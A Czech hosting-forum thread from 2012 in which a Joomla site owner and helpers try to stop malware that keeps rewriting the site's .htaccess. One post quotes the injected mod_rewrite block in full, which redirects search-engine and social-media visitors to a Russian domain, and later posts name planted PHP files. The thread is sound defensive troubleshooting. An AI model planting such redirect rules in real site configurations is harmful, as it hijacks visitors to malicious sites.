Přepisování souboru .htaccess

tjsmistrice · 2012-07-31 10:40:47

Zdravím... neustále mám probl=m s přepisováním souboru .htaccess. Nějaký vir mi stále přepisuje tento soubor a tím pádem mi nefungují odkazy na můj web. Tento problém řeším již po několikáté, ale stále se mi ho nedaří vyřešit. Nepomohla ani změna atributů na 400. Provedl sem kompletní pročištění PC, ale problém stále přetrvává. Jakmile soubor přepíšu a uložím s atributama 400 ihned je zpět přepsaný na nějaké ruské stránky... Díky za každou radu web <a class="postlink" href="http://www.tjsmistrice.cz">www.tjsmistrice.cz</a>. PS: Na Endora.cz mám několik webů ovšem problém je jen u této domény...

tjsmistrice · 2012-07-31 11:00:04

Díky za rychlou odpověď... ale příjde mi to strašně náročné.... Nepomohla by aktualizace Joomla na novější verzi ?

kksmirice · 2012-07-31 11:03:29

To každopádně po tom napadení virem...
Nejprve vyčistit bordel a pak aktualizovat, jinak to nemá smysl.

P.S.
Jak tak koukám, začíná se pěkně ten malware rozrůstat. Tuším, že to je přesměrováno na stránky supa-2012.ru, pokud ano jsou to Belgičani.
Pacholci...

EIDT:
zaregistroval jsem více takových problémů. Prozatím to převážně bylo u uživatelů CSM Joomla! (nevím jaké verze) a phpBB.
Bohužel to může pramenit ze zranitelnosti komponent (modulů) instalovaných do těchto systémů. Samotné systémy nemusí být nutně napadeny...

tjsmistrice · 2012-07-31 11:57:06

Přesměrování se provede na http://moi-supas.ru/blackmuscats?5. Odinstaloval jsem všechny moduly u kterých si myslím, že by to mohly způsobovat stejně tak komponenty... Dále sem si všiml že v souboru .htaccess je nápis mod_rewrite, ale já tam žádný takový modul nemám

kksmirice · 2012-07-31 12:11:06

To je v podstatě to samé. Vše směřuje z IP z Belgie (212.71.10.0-255).

Jedná se o malware - virus.

tjsmistrice · 2012-07-31 12:23:27

Takže... musím mít malware virus někde v PC... Ale to je opravdu zvláštní když ho nenašel ani Norton a neodhalili to ani další 2 programy na odstranění právě malware. Odstranil jsem všechyn zásuvné moduly, moduly i komponenty, které by to mohly dělat, ale problém stále přetrvává...

l564 · 2012-07-31 12:38:51

Doporučuji stáhnout program hijackthis, a obrátit se s logem na pc-help.cz, tam vám pomohou do 1 hodiny.

JF · 2012-07-31 12:47:10

Tak tak, do súboru .htaccess sa dopisuje toto:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)
RewriteRule ^(.*)$ http://moi-supas.ru/blackmuscats?5 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://moi-supas.ru/blackmuscats?5 [R=301,L]
</IfModule>

sám dohľadávam čo to spôsobuje. Ak na to prídem istotne to sem napíšem.

tjsmistrice · 2012-07-31 12:53:49

Všem díky za pomoc... Jak říkám tento problém už řeším delší dobu

kksmirice · 2012-07-31 13:09:18

l564 napsal:

Doporučuji stáhnout program hijackthis, a obrátit se s logem na pc-help.cz, tam vám pomohou do 1 hodiny.

Popřípadě forum.viry.cz, http://forum.viry.cz/viewtopic.php?f=24&t=5701

tjsmistrice · 2012-08-02 09:21:49

Všechno jsem vyzkoušel, ale přepisování souboru stále probíhá . . .

l564 · 2012-08-02 09:28:52

Jsou tu další možnosti:

Nabootujte si linux z USB flash disku, a nahrajte tam nezavirovaný soubor
Jděte na čistý PC, a tam to též nahrajte

tjsmistrice · 2012-08-02 11:11:28

A jak mi pomůže tento způsob v tom, že zavirovaný soubor je na serveru neboli na webu ?! Nemám ho v PC ale na webu...

JF · 2012-08-02 11:44:46

<a class="postlink-local" href="http://podpora.endora.cz/viewtopic.php?f=28&t=5919&p=33281#p33281">viewtopic.php?f=28&t=5919&p=33281#p33281</a>

tjsmistrice · 2012-08-02 14:22:37

Tento postup nepomohl nepodařilo se mi najít ten skrytý soubor... Žádný takový tam nemám

kksmirice · 2012-08-02 14:27:44

<a class="postlink-local" href="http://podpora.endora.cz/viewtopic.php?f=27&t=5930&p=33371#p33371">viewtopic.php?f=27&t=5930&p=33371#p33371</a>

tjsmistrice · 2012-08-10 12:52:06

Je možné že napadený soubor může mít takovéto jméno jos_ghdv.php nebo jos_mywy.php ???

kksmirice · 2012-08-10 13:23:29

Nevím o tom, že by jakýkoliv soubor ve standardní instalaci Joomla! začínal jos_...

Tedy s největší pravděpodobností jsou to soubory přidané virem.

tjsmistrice · 2012-08-10 13:56:30

Soubory jsem odstranil a přepsal i .htaccess po chvilce bylo vše zase zpět... Tudíž to asi bude někde jinde...pomalu začínám být bezradný

kksmirice · 2012-08-10 14:08:35

Pokud chcete, můžete mi zřídit přístup k ftp a k databázi. Údaje zašlete na e-mail, ne sem na veřejné fórum, kvůli bezpečnosti.

tjsmistrice · 2012-08-10 14:34:52

Odesláno na email...

#1 2012-07-31 10:40:47

Re: Přepisování souboru .htaccess

#2 2012-07-31 11:00:04

Re: Přepisování souboru .htaccess

#3 2012-07-31 11:03:29

Re: Přepisování souboru .htaccess

#4 2012-07-31 11:57:06

Re: Přepisování souboru .htaccess

#5 2012-07-31 12:11:06

Re: Přepisování souboru .htaccess

#6 2012-07-31 12:23:27

Re: Přepisování souboru .htaccess

#7 2012-07-31 12:38:51

Re: Přepisování souboru .htaccess

#8 2012-07-31 12:47:10

Re: Přepisování souboru .htaccess

#9 2012-07-31 12:53:49

Re: Přepisování souboru .htaccess

#10 2012-07-31 13:09:18

Re: Přepisování souboru .htaccess

#11 2012-08-02 09:21:49

Re: Přepisování souboru .htaccess

#12 2012-08-02 09:28:52

Re: Přepisování souboru .htaccess

#13 2012-08-02 11:11:28

Re: Přepisování souboru .htaccess

#14 2012-08-02 11:44:46

Re: Přepisování souboru .htaccess

#15 2012-08-02 14:22:37

Re: Přepisování souboru .htaccess

#16 2012-08-02 14:27:44

Re: Přepisování souboru .htaccess

#17 2012-08-10 12:52:06

Re: Přepisování souboru .htaccess

#18 2012-08-10 13:23:29

Re: Přepisování souboru .htaccess

#19 2012-08-10 13:56:30

Re: Přepisování souboru .htaccess

#20 2012-08-10 14:08:35

Re: Přepisování souboru .htaccess

#21 2012-08-10 14:34:52

Re: Přepisování souboru .htaccess

Zápatí